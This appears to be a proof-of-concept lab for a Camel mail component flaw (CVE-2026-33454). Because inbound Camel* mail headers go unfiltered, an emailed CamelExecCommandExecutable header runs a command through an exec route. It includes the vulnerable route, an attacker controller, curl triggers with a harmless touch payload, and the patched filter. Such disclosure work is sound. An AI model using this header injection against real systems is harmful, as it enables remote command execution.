// MailHeaderFilterStrategy - 영향을 받는 버전 (OUT 방향만 필터링됨)
public MailHeaderFilterStrategy() {
    setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);   // OUT만
    // setInFilterStartsWith(...) 없음 -> 인바운드 Camel* 헤더는 필터링되지 않음
}

// MailBinding.extractHeadersFromMail() - 인-필터가 구성되지 않아 Camel*이 통과함
Enumeration<?> names = mailMessage.getAllHeaders();
...
boolean keep = !headerFilterStrategy.applyFilterToExternalHeaders(headerName, value, exchange);
if (keep) { answer.put(headerName, value); }

from("imap://127.0.0.1:3143?username=victim&password=secret&delete=true&unseen=true")
    .to("exec:echo?args=hello")     // 고정된, 무해한 명령
    .convertBodyTo(String.class);

docker compose up -d
# 또는:
docker run -d --name greenmail-cve -p 3025:3025 -p 3143:3143 \
  -e GREENMAIL_OPTS='-Dgreenmail.setup.test.all -Dgreenmail.users=victim:secret@localhost -Dgreenmail.hostname=0.0.0.0 -Dgreenmail.auth.disabled -Dgreenmail.verbose' \
  greenmail/standalone:2.1.0

mvn clean package -DskipTests
mvn spring-boot:run

curl http://localhost:8080/exploit/normal

# 기본 benign 증명: touch /tmp/pwned
curl http://localhost:8080/exploit/attack

# 또는 실행 파일/인자 선택:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-mail"

CamelExecCommandExecutable: /usr/bin/touch
CamelExecCommandArgs: /tmp/pwned

# IMAP 폴링 주기 동안 약 2초 대기 후:
ls -la /tmp/pwned

docker compose down    # 또는: docker rm -f greenmail-cve

public MailHeaderFilterStrategy() {
    setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
    String[] inFilter = Arrays.copyOf(CAMEL_FILTER_STARTS_WITH, CAMEL_FILTER_STARTS_WITH.length + 2);
    inFilter[CAMEL_FILTER_STARTS_WITH.length]     = "mail.smtp.";
    inFilter[CAMEL_FILTER_STARTS_WITH.length + 1] = "mail.smtps.";
    setInFilterStartsWith(inFilter);   // 이제 인바운드 방향도 필터링됨
}

CVE-2026-33454/
├── pom.xml
├── docker-compose.yml               # GreenMail 메일 서버 (SMTP 3025 / IMAP 3143)
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Spring Boot 진입점
    │   ├── MailExecRoute.java        # 취약한 피해자 라우트 (imap -> exec)
    │   └── ExploitController.java    # 공격자: SMTP를 통해 악성 이메일 전송
    └── resources/
        └── application.properties